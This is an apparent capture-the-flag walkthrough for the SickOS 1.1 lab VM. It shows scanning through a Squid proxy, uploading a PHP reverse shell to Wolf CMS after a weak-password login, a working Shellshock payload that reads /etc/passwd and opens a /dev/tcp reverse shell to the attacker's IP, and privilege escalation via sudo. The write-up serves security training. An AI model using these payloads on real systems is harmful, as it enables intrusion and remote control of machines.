SickOS are Vulnerable VM hosted by VulnHub that I tried after kioptrix from Abatchy suggestion for OSCP like vms.
Disclaimer
This guide is for educational purpose only and someone looking for OSCP preparation like I am. In this series, I will be guiding you how to root the VM without using Metasploit.
VM Description:
Name........: SickOs1.1
Date Release: 11 Dec 2015
Author......: D4rk
Series......: SickOs
Objective...: Get /root/a0216ea4d51874464078c618298b1367.txt
Tester(s)...: h1tch1
Twitter.....: https://twitter.com/D4rk36
Download link: SickOS 1.1
Vulnerability Summary
- Squid Proxy misconfiguration
- Shellshock bug
- Wolf CMS 0.8.2 admin weak password
- Sensitivie information disclosure
- Local priv escape by misconfigured sudo list
Host Discovery
Because all VulnHub VM comes with random DHCP IP address for the machines, we need to identify the IP address from the VM first. In this section, we can use several methods for discovering the host.
I’m using VMware for hosting the machines, but I don’t know why VMware is not showing as Vendor name in arp-scan, netdiscover or nmap. It only shows as Unknown or Intel corporate. Because of only 3 machines connected to wifi, it’s easy to determine which one is the VM.
Okay, try to discover the host using 3 methods with root privilege.
Arp-Scan
↳ arp-scan -l
Interface: wlp2s0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.43.1 xx:xx:xx:xx:xx:xx (Unknown) <--- Routers
192.168.43.202 xx:xx:xx:xx:xx:xx (Unknown) <--- VulnHub VM, MAC address is same as host
Netdiscover
↳ netdiscover -r 192.168.43.0/24
Currently scanning: Finished! | Our Mac is: xx:xx:xx:xx:xx:xx - 0
3 Captured ARP Req/Rep packets, from 2 hosts. Total size: 126
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor
-----------------------------------------------------------------------------
192.168.43.1 xx:xx:xx:xx:xx:xx 01 042 Unknown vendor
Nmap
↳ nmap -sn 192.168.43.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-23 20:35 WIB
Nmap scan report for 192.168.43.1
Host is up (0.0045s latency).
MAC Address: xx:xx:xx:xx:xx:xx (Asustek Computer)
Nmap scan report for 192.168.43.202
Host is up (0.00023s latency).
MAC Address: xx:xx:xx:xx:xx:xx (Intel Corporate) <--- This is our target
Nmap scan report for 192.168.43.229
Host is up (0.14s latency).
MAC Address: xx:xx:xx:xx:xx:xx (Apple)
Nmap scan report for 192.168.43.94
Host is up.
Nmap scan report for 192.168.43.95
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 9.05 seconds
Nah, we have our target IP 192.168.43.202(censored MAC address). As always, we can use nmap to scan and enum open port for the machine.
Port scanning and enumeration
↳ nmap -p- -T5 -A -sT -Pn 192.168.43.202
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-23 20:39 WIB
Nmap scan report for 192.168.43.202
Host is up (0.00052s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 09:3d:29:a0:da:48:14:c1:65:14:1e:6a:6c:37:04:09 (DSA)
| 2048 84:63:e9:a8:8e:99:33:48:db:f6:d5:81:ab:f2:08:ec (RSA)
|_ 256 51:f6:eb:09:f6:b3:e6:91:ae:36:37:0c:c8:ee:34:27 (ECDSA)
3128/tcp open http-proxy Squid http proxy 3.1.19
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported: GET HEAD
|_http-server-header: squid/3.1.19
|_http-title: ERROR: The requested URL could not be retrieved
8080/tcp closed http-proxy
MAC Address: xx:xx:xx:xx:xx:xx (Intel Corporate)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
From the above results, we know that nmap tell us port 22 and 3128 is open. While port 8080 state is closed, it’s so weird if open port just ssh and squid proxy. What’s interesting is port 3128 for Squid Proxy. After hours of searching, I get this explanation from rapid7 and from other write-up for SickOS. As rapid7 explanation:
A misconfigured Squid proxy can allow an attacker to make requests on his behalf. This may give the attacker information about devices that he cannot reach but the Squid proxy can. For example, an attacker can make requests for internal IP addresses against a misconfigured open Squid proxy exposed to the Internet, therefore performing an internal port scan. The error messages returned by the proxy are used to determine if the port is open or not. Many Squid proxies use custom error codes so your mileage may vary. The open_proxy module can be used to test for open proxies, though a Squid proxy does not have to be open in order to allow for pivoting (e.g. an Intranet Squid proxy which allows the attack to pivot to another part of the network).
I don’t want to use metasploit built-in auxiliary/scanner/http/squid_pivot_scanning for this. So I’m building my own tools(after understanding the attack flow) for checking open port behind misconfigured squid proxy. You can use my tool for this purpose, just clone and run it:
Spose - Squid Pivoting Open Port Scanner : http://github.com/aancw/spose
Scan with proxy
↳ python spose.py --proxy http://192.168.43.202:3128 --target 192.168.43.202
Using proxy address http://192.168.43.202:3128
192.168.43.202 22 seems OPEN
192.168.43.202 80 seems OPEN
Gotcha! from spose we know that port 80 is open behind squid proxy.
cURL
↳ curl -kv -x http://192.168.43.202:3128 http://192.168.43.202
* Trying 192.168.43.202...
* TCP_NODELAY set
* Connected to 192.168.43.202 (192.168.43.202) port 3128 (#0)
> GET http://192.168.43.202/ HTTP/1.1
> Host: 192.168.43.202
> User-Agent: curl/7.62.0
> Accept: */*
> Proxy-Connection: Keep-Alive
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Date: Sun, 23 Dec 2018 15:59:53 GMT
< Server: Apache/2.2.22 (Ubuntu)
< X-Powered-By: PHP/5.3.10-1ubuntu3.21
< Vary: Accept-Encoding
< Content-Length: 21
< Content-Type: text/html
< X-Cache: MISS from localhost
< X-Cache-Lookup: MISS from localhost:3128
< Via: 1.0 localhost (squid/3.1.19)
* HTTP/1.0 connection set to keep alive!
< Connection: keep-alive
<
<h1>
BLEHHH!!!
</h1>
* Connection #0 to host 192.168.43.202 left intact
Hm something weird with only “BLEHH” output. Trying to scan with nikto then.
Nikto
↳ nikto -h 192.168.43.202 -useproxy http://192.168.43.202:3128
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.43.202
+ Target Hostname: 192.168.43.202
+ Target Port: 80
+ Proxy: 192.168.43.202:3128
+ Start Time: 2018-12-23 23:02:04 (GMT7)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ Retrieved via header: 1.0 localhost (squid/3.1.19)
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-cache-lookup' found, with contents: MISS from localhost:3128
+ Uncommon header 'x-cache' found, with contents: MISS from localhost
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Server leaks inodes via ETags, header found with file /robots.txt, inode: 265381, size: 45, mtime: Sat Dec 5 07:35:02 2015
+ Server banner has changed from 'Apache/2.2.22 (Ubuntu)' to 'squid/3.1.19' which may suggest a WAF, load balancer or proxy is in place
+ Uncommon header 'x-squid-error' found, with contents: ERR_INVALID_REQ 0
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php
+ Uncommon header 'nikto-added-cve-2014-6271' found, with contents: true
+ OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).
+ OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278).
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8347 requests: 0 error(s) and 21 item(s) reported on remote host
+ End Time: 2018-12-23 23:02:17 (GMT7) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
From nikto result, the web server is vulnerable to shellsock vulnerability. Good news for us!
dirb
Using dirb for simple directory searching and found this endpoints.
↳ dirb http://192.168.43.202 -p 192.168.43.202:3128
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Dec 23 23:03:37 2018
URL_BASE: http://192.168.43.202/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
PROXY: 192.168.43.202:3128
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.43.202/ ----
+ http://192.168.43.202/cgi-bin/ (CODE:403|SIZE:290)
+ http://192.168.43.202/connect (CODE:200|SIZE:109)
+ http://192.168.43.202/index (CODE:200|SIZE:21)
+ http://192.168.43.202/index.php (CODE:200|SIZE:21)
+ http://192.168.43.202/robots (CODE:200|SIZE:45)
+ http://192.168.43.202/robots.txt (CODE:200|SIZE:45)
+ http://192.168.43.202/server-status (CODE:403|SIZE:295)
-----------------
END_TIME: Sun Dec 23 23:03:40 2018
DOWNLOADED: 4612 - FOUND: 7
Checking for robots.txt and it telling us that the web server is hosted wolfcms.
User-agent: *
Disallow: /
Dissalow: /wolfcms
From the informations we get before, we can summarize the vulnerability by 2 attack vector.
- Exploiting Machine with Shellsock
- Finding Wolfcms Vuln
As far I know, the above attack vector is resulting reverse shell for connection when success. So we can listen for incoming reverse shell connection with netcat:
↳ nc -lvp 4443
Listening on [0.0.0.0] (family 0, port 4443)
WolfCMS Attack Vector
Using wolfcms as attack vector for getting root shell with wolfcms 0.8.2 vulnerability. I’ve found that in this version is affected by Arbitrary File Upload vuln as mentioned in Exploit-DB. But, we need a valid credential/session for uploading reverse shell or backdoor for login credential. Trying to use a common weak password like admin:admin, admin:password and other for the login at http://192.168.43.202/wolfcms/?/admin/login
Input admin:admin for the credential and then it redirected us to administration dashboard. Good news!
So, what’s next?
After logging in to administrator dashboard, we can upload PHP reverse shell in file manager feature.
Nah, we can upload the file in public/images directory or in public directory. For simple php reverse shell, you can download from PentestMonkey.net and change the file with IP and port for the reverse shell as I mentioned above.
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
Upload the file, access it(http://192.168.43.202/wolfcms/public/reverse.php) and see an incoming connection in netcat listening session:
↳ nc -lvp 4443
Listening on [0.0.0.0] (family 0, port 4443)
Connection from 192.168.43.202 56724 received!
Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
15:38:55 up 24 min, 0 users, load average: 0.00, 0.01, 0.03
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Gotcha! We have a reverse shell from our backdoor. Next, exploiting shellsock vulnerability.
Shellsock Attack Vector
We will use this attack vector for rooting the machine. If you are don’t know about shellsock, you can read the explanation from coderwall
The Shellshock vulnerability, also know as CVE-2014-6271 , allows attackers to inject their own code into Bash using specially crafted environment variables
From nikto scan result, we know that affected endpoint is cgi-bin/status . So, we need to test this by sending a malicious crafted request with wget, curl or other tools. For simple Proof, we are sending a request to the affected endpoint with cat /etc/passwd for showing /etc/passwd content.
↳ wget -qO- -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" -e use_proxy=yes -e http_proxy=192.168.43.202:3128 http://192.168.43.202/cgi-bin/status
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
landscape:x:104:109::/var/lib/landscape:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
sickos:x:1000:1000:sickos,,,:/home/sickos:/bin/bash
mysql:x:106:114:MySQL Server,,,:/nonexistent:/bin/false
Aha~ our request is accepted and it shows us the content of etc/passwd file.
Now, we can make reverse shell connection with this vuln like PHP reverse shell before. Doing simple reverse shell with /bin/bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1
↳ wget -qO- -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/bash -i >& /dev/tcp/192.168.43.94/4443 0>&1" -e use_proxy=yes -e http_proxy=192.168.43.202:3128 http://192.168.43.202/cgi-bin/status
Uhuuu reverse shell again!
↳ nc -lvp 4443
Listening on [0.0.0.0] (family 0, port 4443)
Connection from 192.168.43.202 44354 received!
bash: no job control in this shell
www-data@SickOs:/usr/lib/cgi-bin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@SickOs:/usr/lib/cgi-bin$
Post Exploitation
In this section, we are going to escalating privilege from www-data to root privilege because the flag in the root directory as mentioned in instruction:
Get /root/a0216ea4d51874464078c618298b1367.txt
Searching for interesting file and credential in /var/www/ .
www-data@SickOs:/var/www$ cd /var/www
cd /var/www
www-data@SickOs:/var/www$ ls -lah
ls -lah
total 24K
drwxrwxrwx 3 root root 4.0K Dec 6 2015 .
drwxr-xr-x 13 root root 4.0K Dec 6 2015 ..
-rwxrwxrwx 1 root root 109 Dec 5 2015 connect.py
-rw-r--r-- 1 root root 21 Dec 5 2015 index.php
-rw-r--r-- 1 root root 45 Dec 5 2015 robots.txt
drwxr-xr-x 5 root root 4.0K Dec 5 2015 wolfcms
www-data@SickOs:/var/www$
www-data@SickOs:/var/www$ cd wolfcms
cd wolfcms
www-data@SickOs:/var/www/wolfcms$ ls -lah
ls -lah
total 52K
drwxr-xr-x 5 root root 4.0K Dec 5 2015 .
drwxrwxrwx 3 root root 4.0K Dec 6 2015 ..
-rwxr-xr-x 1 root root 950 Dec 5 2015 .htaccess
-rwxrwxrwx 1 root root 4.0K Dec 5 2015 CONTRIBUTING.md
-rwxrwxrwx 1 root root 2.4K Dec 5 2015 README.md
-rwxrwxrwx 1 root root 403 Dec 5 2015 composer.json
-rwxrwxrwx 1 root root 3.0K Dec 5 2015 config.php
drwxrwxrwx 2 root root 4.0K Dec 5 2015 docs
-rwxrwxrwx 1 root root 894 Dec 5 2015 favicon.ico
-rwxrwxrwx 1 root root 6.7K Dec 5 2015 index.php
drwxrwxrwx 4 root root 4.0K Dec 6 2015 public
-rwxrwxrwx 1 root root 0 Dec 5 2015 robots.txt
drwxrwxrwx 7 root root 4.0K Dec 5 2015 wolf
www-data@SickOs:/var/www/wolfcms$
Trying to read wolfcms config.php and it showing us database connection for the website.
www-data@SickOs:/var/www/wolfcms$ cat config.php
cat config.php
<?php
// Database information:
// for SQLite, use sqlite:/tmp/wolf.db (SQLite 3)
// The path can only be absolute path or :memory:
// For more info look at: www.php.net/pdo
// Database settings:
define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', 'john@123');
define('TABLE_PREFIX', '');
// Should Wolf produce PHP error messages for debugging?
define('DEBUG', false);
// Should Wolf check for updates on Wolf itself and the installed plugins?
define('CHECK_UPDATES', true);
// The number of seconds before the check for a new Wolf version times out in case of problems.
define('CHECK_TIMEOUT', 3);
// The full URL of your Wolf CMS install
define('URL_PUBLIC', '/wolfcms/');
// Use httpS for the backend?
// Before enabling this, please make sure you have a working HTTP+SSL installation.
define('USE_HTTPS', false);
// Use HTTP ONLY setting for the Wolf CMS authentication cookie?
// This requests browsers to make the cookie only available through HTTP, so not javascript for example.
// Defaults to false for backwards compatibility.
define('COOKIE_HTTP_ONLY', false);
// The virtual directory name for your Wolf CMS administration section.
define('ADMIN_DIR', 'admin');
// Change this setting to enable mod_rewrite. Set to "true" to remove the "?" in the URL.
// To enable mod_rewrite, you must also change the name of "_.htaccess" in your
// Wolf CMS root directory to ".htaccess"
define('USE_MOD_REWRITE', false);
// Add a suffix to pages (simluating static pages '.html')
define('URL_SUFFIX', '.html');
// Set the timezone of your choice.
// Go here for more information on the available timezones:
// http://php.net/timezones
define('DEFAULT_TIMEZONE', 'Asia/Calcutta');
// Use poormans cron solution instead of real one.
// Only use if cron is truly not available, this works better in terms of timing
// if you have a lot of traffic.
define('USE_POORMANSCRON', false);
// Rough interval in seconds at which poormans cron should trigger.
// No traffic == no poormans cron run.
define('POORMANSCRON_INTERVAL', 3600);
// How long should the browser remember logged in user?
// This relates to Login screen "Remember me for xxx time" checkbox at Backend Login screen
// Default: 1800 (30 minutes)
define ('COOKIE_LIFE', 1800); // 30 minutes
// Can registered users login to backend using their email address?
// Default: false
define ('ALLOW_LOGIN_WITH_EMAIL', false);
// Should Wolf CMS block login ability on invalid password provided?
// Default: true
define ('DELAY_ON_INVALID_LOGIN', true);
// How long should the login blockade last?
// Default: 30 seconds
define ('DELAY_ONCE_EVERY', 30); // 30 seconds
// First delay starts after Nth failed login attempt
// Default: 3
define ('DELAY_FIRST_AFTER', 3);
// Secure token expiry time (prevents CSRF attacks, etc.)
// If backend user does nothing for this time (eg. click some link)
// his token will expire with appropriate notification
// Default: 900 (15 minutes)
define ('SECURE_TOKEN_EXPIRY', 900); // 15 minutes
From /etc/passwd/ we know that sickos user exists in this machine. Trying to su with a credential from the database connection.
www-data@SickOs:/usr/lib/cgi-bin$ su sickos
su sickos
su: must be run from a terminal
www-data@SickOs:/usr/lib/cgi-bin$ python -c 'import pty; pty.spawn("/bin/bash")'
<i-bin$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@SickOs:/usr/lib/cgi-bin$ su sickos
su sickos
Password: john@123
sickos@SickOs:/usr/lib/cgi-bin$ id
id
uid=1000(sickos) gid=1000(sickos) groups=1000(sickos),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare)
Hm… cannot doing su because we are not running from terminal, we need to spawn tty with bash session. After that, su again and it showing us id is changed to sickos from www-data.
Escalating privilege with misconfigured sudo .
sickos@SickOs:/usr/lib/cgi-bin$ sudo -l
sudo -l
[sudo] password for sickos: john@123
Matching Defaults entries for sickos on this host:
env_reset,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sickos may run the following commands on this host:
(ALL : ALL) ALL
sickos@SickOs:/usr/lib/cgi-bin$ sudo su
sudo su
root@SickOs:/usr/lib/cgi-bin#
In the end, we can access flag file as mentioned in the instruction.
root@SickOs:/usr/lib/cgi-bin# cd /root
cd /root
root@SickOs:~# ls -lah
ls -lah
total 40K
drwx------ 3 root root 4.0K Dec 6 2015 .
drwxr-xr-x 22 root root 4.0K Sep 22 2015 ..
-rw-r--r-- 1 root root 96 Dec 6 2015 redacted-hash.txt
-rw------- 1 root root 3.7K Dec 6 2015 .bash_history
-rw-r--r-- 1 root root 3.1K Apr 19 2012 .bashrc
drwx------ 2 root root 4.0K Sep 22 2015 .cache
-rw------- 1 root root 22 Dec 5 2015 .mysql_history
-rw-r--r-- 1 root root 140 Apr 19 2012 .profile
-rw------- 1 root root 5.2K Dec 6 2015 .viminfo
root@SickOs:~# cat redacted-hash.txt
cat redacted-hash.txt
If you are viewing this!!
ROOT!
You have Succesfully completed SickOS1.1.
Thanks for Trying
References:
